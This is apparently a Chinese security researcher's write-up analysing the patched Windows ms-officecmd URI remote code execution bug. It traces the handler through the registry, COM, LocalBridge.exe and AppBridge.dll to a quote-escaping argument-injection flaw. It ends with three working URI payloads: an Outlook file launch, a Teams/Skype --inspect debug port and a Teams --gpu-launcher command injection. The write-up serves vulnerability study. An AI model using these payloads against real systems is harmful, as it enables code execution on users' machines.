Windows ms-officecmd URI Scheme 远程命令执行漏洞分析

概述

2021 年 12 月 7 日,Positive Security 发布博客,披露了一个 Windows 上存在于 ms-officecmd URI 协议处理中的远程代码执行漏洞:

Windows 10 RCE: The exploit is in the link | Positive Security

本文是对该漏洞的分析学习记录。漏洞当年已修复,但微软官方并未分配 CVE 编号。

漏洞分析

定位 ms-officecmd 协议的关联命令

对于一些 URI 而言,当我们在通过 ShellExecuteExW API 函数 open 时,它会根据 URI 协议名去查询注册表里的如下关联项,以此来确定关联的执行命令是什么,比如 http 协议:

1
HKEY_CLASSES_ROOT\http\shell\open\command

image-20250109164651226

这是最简单直观的一种形式。然而还有很多 URI 协议不是像这样直接定位的,ms-officecmd 就是其中一种,比如我们看注册表项 HKEY_CLASSES_ROOT\ms-officecmd 里面,其实是没什么东西的:

image-20250109165134205

那第一个要思考的问题自然就是,当调用 ShellExecuteExW 打开 ms-officecmd 协议开头的 URI 时,Windows 是怎么定位到对应关联的处理命令/应用程序的?

结合 procmon 观察,发现 Windows 有很多系统自带的 URI 协议,位于这个注册表项下:

1
HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\PackageRepository\Extensions\windows.protocol\<protocol>

ms-officecmd 也是其中之一:

image-20250109170253345

据此,能得知 ms-officecmd 协议关联的 package id 为:

1
Microsoft.MicrosoftOfficeHub_18.1903.1152.0_x64__8wekyb3d8bbwe

以及还有一串 AppX 开头的标识符:AppXxczm5t62t39rv8atwt7zeht4nrm4c541

根据 package id,可以查到应用相关的一些基本信息:

1
HKEY_CURRENT_USER\SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Repository\Packages\Microsoft.MicrosoftOfficeHub_18.1903.1152.0_x64__8wekyb3d8bbwe

image-20250109171421637

不过更重要的还是那串 AppX 开头的标识符,可以再用它去定位相关联的执行命令:

1
HKEY_CURRENT_USER\SOFTWARE\Classes\AppXxczm5t62t39rv8atwt7zeht4nrm4c541

image-20250109171619312

没错,看到 Shell\open\command 了,但这里仍然没有看到命令行字符串,只有一个名为 DelegateExecute、值为一串 GUID 的注册表子项。

DelegateExecute 其实是表示这个命令处理并不是去简单地执行一个应用,而是通过 IExecuteCommand COM 对象完成的,那一串 GUID 值正是用来标识定位它的,而它的具体实现则在 InprocServer32 项对应的文件路径的 dll 里:

image-20250109172706987

大致思路现在有了,不过由于没有 Windows 开发经验,仍然不清楚如何去该 dll 里找对应的 COM 实现。

那先来补一下 COM 的基础知识:Using COM in Your Windows app - Win32 apps | Microsoft Learn

具体到这里关联执行命令的场景,一个正向的开发 demo 可以参考:Simplifying context menu extensions with IExecuteCommand - The Old New Thing

结合这些前置知识,可以明确的一点是,先不管这个 COM 对象是由哪个客户端获取调用的,在服务端实现中,服务端收到客户端的 COM 调用后,肯定会将客户端传入的、想获取的 COM 对象的 CLSID,与服务端自己注册的这个 COM 对象的 CLSID 进行匹配比对。

因此 IDA 里打开 windows.storage.dll,先找到这个 GUID:

image-20250109180739120

找交叉引用看不明确,那直接 WinDBG 里下硬件读取断点:

1
2
sxe ld:windows.storage.dll	// 等 windows.storage.dll 加载后,程序暂停
ba r4 windows_storage!GUID_a56a841f_e974_45c1_8001_7e3f8a085917 // 然后再下4字节硬件读断点

断到 windows_storage!DllGetClassObject+0x171,发现确实是在做 CLSID 比较判断:

image-20250110003046452

观察下调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 # Child-SP          RetAddr               Call Site
00 000000ea`d29fe310 00007ffb`32c1bc11 windows_storage!DllGetClassObject+0x171
01 000000ea`d29fe5f0 00007ffb`32bdb42c windows_storage!_SHCoCreateInstance+0xb1
02 000000ea`d29fed90 00007ffb`32cb4b00 windows_storage!CBindAndInvokeStaticVerb::ActivateHandler+0x90
03 000000ea`d29fee30 00007ffb`32cb3bd2 windows_storage!CBindAndInvokeStaticVerb::TryExecuteCommandHandler+0xac
04 000000ea`d29feee0 00007ffb`32cf94ad windows_storage!CBindAndInvokeStaticVerb::Execute+0x1b2
05 000000ea`d29ff200 00007ffb`32cf93c5 windows_storage!RegDataDrivenCommand::_TryInvokeAssociation+0xad
06 000000ea`d29ff260 00007ffb`35aa3af2 windows_storage!RegDataDrivenCommand::_Invoke+0x141
07 000000ea`d29ff2d0 00007ffb`35aa39aa SHELL32!CRegistryVerbsContextMenu::_Execute+0xce
08 000000ea`d29ff340 00007ffb`35aa83ec SHELL32!CRegistryVerbsContextMenu::InvokeCommand+0xaa
09 000000ea`d29ff640 00007ffb`35aa826d SHELL32!HDXA_LetHandlerProcessCommandEx+0x10c
0a 000000ea`d29ff750 00007ffb`35aa367b SHELL32!CDefFolderMenu::InvokeCommand+0x13d
0b 000000ea`d29ffab0 00007ffb`35aa3553 SHELL32!CShellExecute::_InvokeInProcExec+0xfb
0c 000000ea`d29ffbb0 00007ffb`35ad5b51 SHELL32!CShellExecute::_InvokeCtxMenu+0x5b
0d 000000ea`d29ffbf0 00007ffb`35a9fe7d SHELL32!CShellExecute::_DoExecute+0x151
0e 000000ea`d29ffc60 00007ffb`355dbd19 SHELL32!<lambda_519a2c088cd7d0cdfafe5aad47e70646>::<lambda_invoker_cdecl>+0x2d
0f 000000ea`d29ffcd0 00007ffb`358c7374 SHCORE!_WrapperThreadProc+0xe9
10 000000ea`d29ffdb0 00007ffb`3747cc91 KERNEL32!BaseThreadInitThunk+0x14
11 000000ea`d29ffde0 00000000`00000000 ntdll!RtlUserThreadStart+0x21

往上回溯一层,windows_storage!_SHCoCreateInstance 里:

image-20250110004758132

关于 DllGetClassObject 这个函数的介绍(来自 ChatGPT):

DllGetClassObject 是 Windows COM(组件对象模型)编程中的一个函数,用于动态链接库(DLL)中创建并返回 COM 类的实例。它是 COM 服务器的核心之一,允许客户端通过 DLL 加载并访问其定义的类。具体来说,它是 COM DLL 的入口点之一,通过它,客户端可以获得特定类的对象工厂(class factory),然后通过这个工厂创建该类的实例。

windows_storage!_SHCoCreateInstance 里,先根据传入的 CLSID {A56A841F-E974-45C1-8001-7E3F8A085917} 调用 DllGetClassObject 方法,以获取到对应的 IClassFactory 接口对象,然后调用它的 IClassFactory::CreateInstance 方法,riid 为 IExecuteCommand,就能获取到 IExecuteCommand COM 接口对象指针(存到了 ppvObject 参数),所以地址顺着跟过去就能看到对应的接口实现方法了:

image-20250110010312493

注:这里其实就能看出来,windows.storage.dll 在这里既是实现 COM 的服务端,也是调用 COM 的客户端。

因此得出结论,打开 ms-officecmd 协议的 URI 对应的是去执行 windows_storage!DesktopAppXExecuteCommandBase::Execute 方法。

DesktopAppXExecuteCommandBase::Execute 方法里调用到 CDesktopAppXProtocolExecuteCommand::ActivateApplication

image-20250112161835432

CDesktopAppXProtocolExecuteCommand::ActivateApplication 里,取出了我们执行/打开的 ms-officecmd URI :

image-20250112161944859

然后调用 TwinUI!DesktopAppXActivator::ActivateWithOptionsAndArgs

image-20250113141807911

这里 appUserModelId 值是 Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe!LocalBridge ,exeName 是 LocalBridge.exe,这些信息猜测也是根据注册表项 HKEY_CURRENT_USER\SOFTWARE\Classes\AppXxczm5t62t39rv8atwt7zeht4nrm4c541 获取到的:

image-20250113142252990

最终,在 twinui!DesktopAppXActivator::InnerActivate 里,调用 ShellExecuteExW 创建关联进程:

image-20250113151455675

这里 pExecInfo->lpFile 即是 LocalBridge.exe 的完整路径:

1
C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_18.1903.1152.0_x64__8wekyb3d8bbwe\LocalBridge.exe

pExecInfo->lpParameters 即是最初打开/访问传入的 ms-officecmd URI:

image-20250113151615788

LocalBridge.exe 分析

环境:Windows 10 20H2,Office 2019 Professional 16.0.12325.20280

LocalBridge.exe 是个 .NET 编译的程序,LocalBridge.LocalBridge::Main 解析命令行参数,提出 ms-officecmd 部分,调用 MyOffice.ProtocolHandler::LaunchAppAsync

image-20250213174551150

MyOffice.ProtocolHandler::LaunchAppAsync 方法里,将协议参数 uri 解码,然后做 JSON 解析:

image-20250213174834757

根据解析的字段可以推断出,协议构造起码大致长这样:

1
2
3
4
5
6
7
8
ms-officecmd: {
"LocalProviders.LaunchOfficeAppForResult": {
"details": {
"name": "aaa"
},
"filename": "https://example.com/"
}
}

其中它对 filename 字段值做了一定程度的校验,要求它是一个能被正常解析的 URI:

image-20250213175241921

然后就进入到 NativeMethods.LaunchOfficeAppValidated 方法里,这个方法的实现在 AppBridge.dll 这个 C++ 编译的共享库里:

image-20250213175958798

AppBridge.dll 逆向

要理解 ms-officecmd uri 的解析逻辑,需要去分析 AppBridge.dll 这个库里的 LaunchOfficeAppValidated 函数。但 AppBridge.dll 是 C++ 编译的,而且里面符号信息很少,要理解它需要做一定的逆向工作。

漏洞作者在这里另辟蹊径,他没有把所有精力花在逆向 AppBridge.dll 库上,而是转过头去寻找一个有效的 ms-officecmd uri 是怎么生成的。这是个非常不错的思路(具体请参考漏洞作者原文),很多时候只要能解决问题,并不是非得盯着一个难看的东西逆向死磕。

本文为了理解相关逻辑,仍然沿用逆向的办法继续分析漏洞的形成原理。

由于 AppBridge.dll 里的符号信息很少,纯靠 IDA 静态分析是比较困难的,因此尝试用 WinDBG 挂调试进一步分析,结果发现挂不上,提示 “Access is denied”。不只是挂调试,管理员权限 cmd 里直接运行 LocalBridge.exe 也是一样”:

image-20250214165925164

查了下发现,原来 WindowsApp 是一个比较特殊的文件夹,它做了一些权限隔离的安全管控措施。把当前用户加到对应文件/文件夹的权限组里即可:

image-20250214170202144

注:由于 uri 里特殊字符比较多,调试的时候设置命令行参数时,uri 协议后面的部分可以 url 编码下,不然会造成解析混乱,反正 MyOffice.ProtocolHandler::LaunchAppAsync 方法里会做一次解码。

LaunchOfficeAppValidated 函数里,首先调用 MyOffice::ParseAppJson 方法对 details 部分的 JSON 内容进行解析,经过分析后可以推断出,details 部分 JSON 结构大致如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
{
"name": "nametest",
"traits": [
{
"w32": {
"executables": [
"executables_test"
],
"protocols": [
"protocols_test"
]
},
"uwp": {
"package": "package_test",
"praid": "praid_test",
"protocol": "protocol_test"
}
}
],
"appId": 1,
"discovered": {
"version": "1",
"command": "command_test",
"protocol": "protocol_test",
"userChoice": 1,
"isO365": 1
}
}

当然这里面并不是所有的键都会影响执行结果,经过简化后:

1
2
3
4
5
6
7
{
"name": "foo",
"appId": 1,
"discovered": {
"command": "bar"
}
}

不过其中 discovered JSON 结构里的键有下面几种不同的情况:

  • command 键时:launchTYpe 为 1;
  • uri 键时:launchTYpe 为 2;
  • aumid 键时:launchTYpe 为 3;

image-20250220192038961

解析完 JSON 后,根据 appId 值的不同来决定启动的 Office 程序:

image-20250220192449414

1: Access,2: Excel,5: Teams,6: SkypeForBusiness,7: OneDrive,8: Outlook,9: PowerBI,10: PowerPoint

11: Project,12: Publisher,13: Visio,14: Word,15: Yammer,16: Delve,17: OfficeLens,18: OneNote,19: Sway,21: Skype

再之后,根据 launchType 值的不同,进入不同的初始化逻辑分支,并会影响到之后 if 的判断逻辑里涉及的 v18 这个变量:

image-20250220193140542

测试发现,当有 discovered JSON 里有 command 键时,v18 为 1,进入 if 为 true 的分支里,调用 LaunchAppWithFileNameParam 函数:

image-20250220193523186

由于 launchType 为 1,再调用 MyOffice::Shell::LaunchExe 方法:

image-20250220194530455

最终会执行 ShellExecuteExW,lpFile 值是 appId 对应 Office 应用程序 exe 的绝对路径,而 lpParameters 就是经过 WrapWithQuotes 函数处理后的 filename:

image-20250220194606289

但 WrapWithQuotes 的处理逻辑非常简陋:

  • 如果 filename 字符串以双引号开头或者结尾,则不处理;
  • 否则,用双引号包裹 filename 字符串。

除此以外 WrapWithQuotes 并没有再做其他的转义处理,因此能很容易能通过注入双引号进行逃逸,从而造成参数注入漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
ms-officecmd:{
"LocalProviders.LaunchOfficeAppForResult": {
"details": {
"name": "foo",
"appId": 2,
"discovered": {
"command": "bar"
}
},
"filename": "xxx://wtf/abc?\" --name val \"abc"
}
}

image-20250220200233286

因此,通过访问 ms-officecmd uri,我们实际上可以传参并能注入额外的参数来调用任意的 Office 应用程序。这就是造成该漏洞的本质原因。

既然能传参启动任意的 Office 应用,那利用方式自然也是多种多样的。由于本文重点是分析 Windows 对 URI 的关联处理逻辑和漏洞的本质成因,利用方式这些我挑了几个看着相对靠谱的列出来,就一笔带过了,感兴趣的读者可自己再详细分析。

利用方式1:Outlook 钓鱼

1
2
3
4
5
6
7
8
9
10
11
12
ms-officecmd:{
"LocalProviders.LaunchOfficeAppForResult": {
"details": {
"name": "foo",
"appId": 8,
"discovered": {
"command": "bar"
}
},
"filename": "C://Windows/System32/calc.exe/"
}
}
  • 需要先在目标用户系统上投放一个恶意文件(漏洞作者在原文里演示的是通过浏览器自动下载的方式,这个方式在最新的浏览器里是否仍然有效我存疑);
  • Outlook 不允许 filename 这使用 file:// 协议,但 C:// 是可以的;
  • filename 路径末尾追加了斜线来绕过 Outlook 对文件名后缀的检查,这个斜线在之后打开文件时会被忽略;
  • 尽管如此,仍然会弹警告框要求确认,因此这个利用需要额外的用户交互;
  • 本地测试发现,不要求 Outlook 打开,但要求 Outlook 处于账号登录状态。

利用方式2:Teams/Skype 注入 --inspect 参数启动 Node.js 调试端口

1
2
3
4
5
6
7
8
9
10
11
12
ms-officecmd:{
"LocalProviders.LaunchOfficeAppForResult": {
"details": {
"appId": 21,
"name": "irrelevant",
"discovered": {
"command": "irrelevant"
}
},
"filename": "a:/b/\" --inspect=\"0.0.0.0:28966\" /"
}
}

Node.js 程序可以通过注入 --inspect 参数来在本地监听调试端口,若攻击者位于本地局域网,连接调试端口后即可执行 Node.js 代码。

利用方式3:Teams 注入 --gpu-launcher 参数进行命令注入

1
2
3
4
5
6
7
8
9
10
11
12
ms-officecmd:{
"LocalProviders.LaunchOfficeAppForResult": {
"details": {
"appId": 5,
"name": "irrelevant",
"discovered": {
"command": "irrelevant"
}
},
"filename": "a:/b/ --disable-gpu-sandbox --gpu-launcher=\"C:\\Windows\\System32\\cmd /c calc && \""
}
}

这个看起来是最靠谱的一个,实际上利用的是 CVE-2018-1000006 Electron 参数注入命令执行漏洞。利用条件是安装了 Teams 但未运行。

参考资料